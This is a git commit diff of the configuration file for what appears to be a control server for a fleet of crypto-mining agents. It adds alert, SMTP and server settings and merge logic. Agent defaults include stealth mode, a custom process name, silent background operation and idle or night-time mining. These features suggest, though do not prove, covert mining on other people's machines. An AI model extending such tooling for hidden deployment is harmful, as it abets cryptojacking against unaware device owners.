Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
186
server/config.go
186
server/config.go
@@ -15,9 +15,27 @@ type Config struct {
|
||||
Pool PoolConfig `json:"pool"`
|
||||
Wallet WalletConfig `json:"wallet"`
|
||||
|
||||
DefaultAgent AgentDefaults `json:"default_agent_config"`
|
||||
Background BackgroundConfig `json:"background"`
|
||||
// Legacy JSON fields — ignored at runtime; Forge bakes per-miner settings into installers.
|
||||
DefaultAgent AgentDefaults `json:"default_agent_config,omitempty"`
|
||||
Background BackgroundConfig `json:"background,omitempty"`
|
||||
Alerts AlertsConfig `json:"alerts"`
|
||||
Server ServerSettings `json:"server"`
|
||||
}
|
||||
|
||||
// ServerSettings controls the locally hosted control server (not baked into miners).
|
||||
type ServerSettings struct {
|
||||
PublicURL string `json:"public_url"`
|
||||
StatsRetentionHours int `json:"stats_retention_hours"`
|
||||
BuildRetentionDays int `json:"build_retention_days"`
|
||||
PoolReconnectSeconds int `json:"pool_reconnect_seconds"`
|
||||
WebSocketPingSeconds int `json:"websocket_ping_seconds"`
|
||||
MaxAgents int `json:"max_agents"`
|
||||
MaxBuildSizeMB int `json:"max_build_size_mb"`
|
||||
LogAgentConnections bool `json:"log_agent_connections"`
|
||||
LogShareSubmissions bool `json:"log_share_submissions"`
|
||||
LogPoolTraffic bool `json:"log_pool_traffic"`
|
||||
StrictWalletValidation bool `json:"strict_wallet_validation"`
|
||||
DashboardSubtitle string `json:"dashboard_subtitle"`
|
||||
}
|
||||
|
||||
type PoolConfig struct {
|
||||
@@ -33,27 +51,27 @@ type WalletConfig struct {
|
||||
}
|
||||
|
||||
type AgentDefaults struct {
|
||||
Threads int `json:"threads"`
|
||||
ThreadMode string `json:"thread_mode"`
|
||||
ThreadPercent int `json:"thread_percent"`
|
||||
CPUPriority string `json:"cpu_priority"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
||||
MaxMemoryPct int `json:"max_memory_percent"`
|
||||
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
||||
MiningMode string `json:"mining_mode"`
|
||||
DisplayMode string `json:"display_mode"`
|
||||
ProcessName string `json:"process_name"`
|
||||
IdleThresholdPct int `json:"idle_threshold_pct"`
|
||||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||||
ScheduleStart string `json:"schedule_start"`
|
||||
ScheduleEnd string `json:"schedule_end"`
|
||||
InstallBase string `json:"install_base"`
|
||||
InstallCustomBase string `json:"install_custom_base"`
|
||||
InstallRelativePath string `json:"install_relative_path"`
|
||||
AdaptToHardware bool `json:"adapt_to_hardware"`
|
||||
SelfHealing bool `json:"self_healing"`
|
||||
FileLogging bool `json:"file_logging"`
|
||||
StealthMode bool `json:"stealth_mode"`
|
||||
Threads int `json:"threads"`
|
||||
ThreadMode string `json:"thread_mode"`
|
||||
ThreadPercent int `json:"thread_percent"`
|
||||
CPUPriority string `json:"cpu_priority"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
|
||||
MaxMemoryPct int `json:"max_memory_percent"`
|
||||
MinFreeRAMMB int `json:"min_free_ram_mb"`
|
||||
MiningMode string `json:"mining_mode"`
|
||||
DisplayMode string `json:"display_mode"`
|
||||
ProcessName string `json:"process_name"`
|
||||
IdleThresholdPct int `json:"idle_threshold_pct"`
|
||||
IdleDurationMinutes int `json:"idle_duration_minutes"`
|
||||
ScheduleStart string `json:"schedule_start"`
|
||||
ScheduleEnd string `json:"schedule_end"`
|
||||
InstallBase string `json:"install_base"`
|
||||
InstallCustomBase string `json:"install_custom_base"`
|
||||
InstallRelativePath string `json:"install_relative_path"`
|
||||
AdaptToHardware bool `json:"adapt_to_hardware"`
|
||||
SelfHealing bool `json:"self_healing"`
|
||||
FileLogging bool `json:"file_logging"`
|
||||
StealthMode bool `json:"stealth_mode"`
|
||||
}
|
||||
|
||||
type BackgroundConfig struct {
|
||||
@@ -64,9 +82,18 @@ type BackgroundConfig struct {
|
||||
}
|
||||
|
||||
type AlertsConfig struct {
|
||||
OfflineThresholdMinutes int `json:"offline_threshold_minutes"`
|
||||
HashrateDropThresholdPct int `json:"hashrate_drop_threshold_pct"`
|
||||
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
|
||||
OfflineThresholdMinutes int `json:"offline_threshold_minutes"`
|
||||
HashrateDropThresholdPct int `json:"hashrate_drop_threshold_pct"`
|
||||
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
|
||||
TelegramBotToken string `json:"telegram_bot_token"`
|
||||
TelegramChatID string `json:"telegram_chat_id"`
|
||||
EmailEnabled bool `json:"email_enabled"`
|
||||
SMTPHost string `json:"smtp_host"`
|
||||
SMTPPort int `json:"smtp_port"`
|
||||
SMTPUser string `json:"smtp_user"`
|
||||
SMTPPassword string `json:"smtp_password"`
|
||||
EmailTo string `json:"email_to"`
|
||||
EmailFrom string `json:"email_from"`
|
||||
}
|
||||
|
||||
func DefaultConfig() *Config {
|
||||
@@ -84,26 +111,26 @@ func DefaultConfig() *Config {
|
||||
PaymentID: "",
|
||||
},
|
||||
DefaultAgent: AgentDefaults{
|
||||
Threads: 4,
|
||||
ThreadMode: "percent",
|
||||
ThreadPercent: 75,
|
||||
CPUPriority: "below_normal",
|
||||
MaxCPUUsagePct: 80,
|
||||
MaxMemoryPct: 70,
|
||||
MinFreeRAMMB: 1024,
|
||||
MiningMode: "always",
|
||||
DisplayMode: "background",
|
||||
ProcessName: "",
|
||||
IdleThresholdPct: 20,
|
||||
IdleDurationMinutes: 5,
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
|
||||
AdaptToHardware: true,
|
||||
SelfHealing: true,
|
||||
FileLogging: true,
|
||||
StealthMode: false,
|
||||
Threads: 4,
|
||||
ThreadMode: "percent",
|
||||
ThreadPercent: 75,
|
||||
CPUPriority: "below_normal",
|
||||
MaxCPUUsagePct: 80,
|
||||
MaxMemoryPct: 70,
|
||||
MinFreeRAMMB: 1024,
|
||||
MiningMode: "always",
|
||||
DisplayMode: "background",
|
||||
ProcessName: "",
|
||||
IdleThresholdPct: 20,
|
||||
IdleDurationMinutes: 5,
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
|
||||
AdaptToHardware: true,
|
||||
SelfHealing: true,
|
||||
FileLogging: true,
|
||||
StealthMode: false,
|
||||
},
|
||||
Background: BackgroundConfig{
|
||||
SilentMode: true,
|
||||
@@ -116,6 +143,20 @@ func DefaultConfig() *Config {
|
||||
HashrateDropThresholdPct: 50,
|
||||
RejectionRateThresholdPct: 5,
|
||||
},
|
||||
Server: ServerSettings{
|
||||
PublicURL: "",
|
||||
StatsRetentionHours: 168,
|
||||
BuildRetentionDays: 30,
|
||||
PoolReconnectSeconds: 30,
|
||||
WebSocketPingSeconds: 30,
|
||||
MaxAgents: 256,
|
||||
MaxBuildSizeMB: 150,
|
||||
LogAgentConnections: true,
|
||||
LogShareSubmissions: false,
|
||||
LogPoolTraffic: false,
|
||||
StrictWalletValidation: false,
|
||||
DashboardSubtitle: "security is just an emotion",
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -238,6 +279,59 @@ func mergeConfig(dst, src *Config) {
|
||||
if src.Alerts.RejectionRateThresholdPct != 0 {
|
||||
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
||||
}
|
||||
if src.Alerts.TelegramBotToken != "" {
|
||||
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
|
||||
}
|
||||
if src.Alerts.TelegramChatID != "" {
|
||||
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
||||
}
|
||||
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
||||
if src.Alerts.SMTPHost != "" {
|
||||
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
||||
}
|
||||
if src.Alerts.SMTPPort != 0 {
|
||||
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
|
||||
}
|
||||
if src.Alerts.SMTPUser != "" {
|
||||
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
|
||||
}
|
||||
if src.Alerts.SMTPPassword != "" {
|
||||
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
|
||||
}
|
||||
if src.Alerts.EmailTo != "" {
|
||||
dst.Alerts.EmailTo = src.Alerts.EmailTo
|
||||
}
|
||||
if src.Alerts.EmailFrom != "" {
|
||||
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
|
||||
}
|
||||
if src.Server.PublicURL != "" {
|
||||
dst.Server.PublicURL = src.Server.PublicURL
|
||||
}
|
||||
if src.Server.StatsRetentionHours != 0 {
|
||||
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
|
||||
}
|
||||
if src.Server.BuildRetentionDays != 0 {
|
||||
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
|
||||
}
|
||||
if src.Server.PoolReconnectSeconds != 0 {
|
||||
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
|
||||
}
|
||||
if src.Server.WebSocketPingSeconds != 0 {
|
||||
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
|
||||
}
|
||||
if src.Server.MaxAgents != 0 {
|
||||
dst.Server.MaxAgents = src.Server.MaxAgents
|
||||
}
|
||||
if src.Server.MaxBuildSizeMB != 0 {
|
||||
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
|
||||
}
|
||||
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
|
||||
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
|
||||
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
|
||||
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
|
||||
if src.Server.DashboardSubtitle != "" {
|
||||
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Config) Save() error {
|
||||
|
||||
Reference in New Issue
Block a user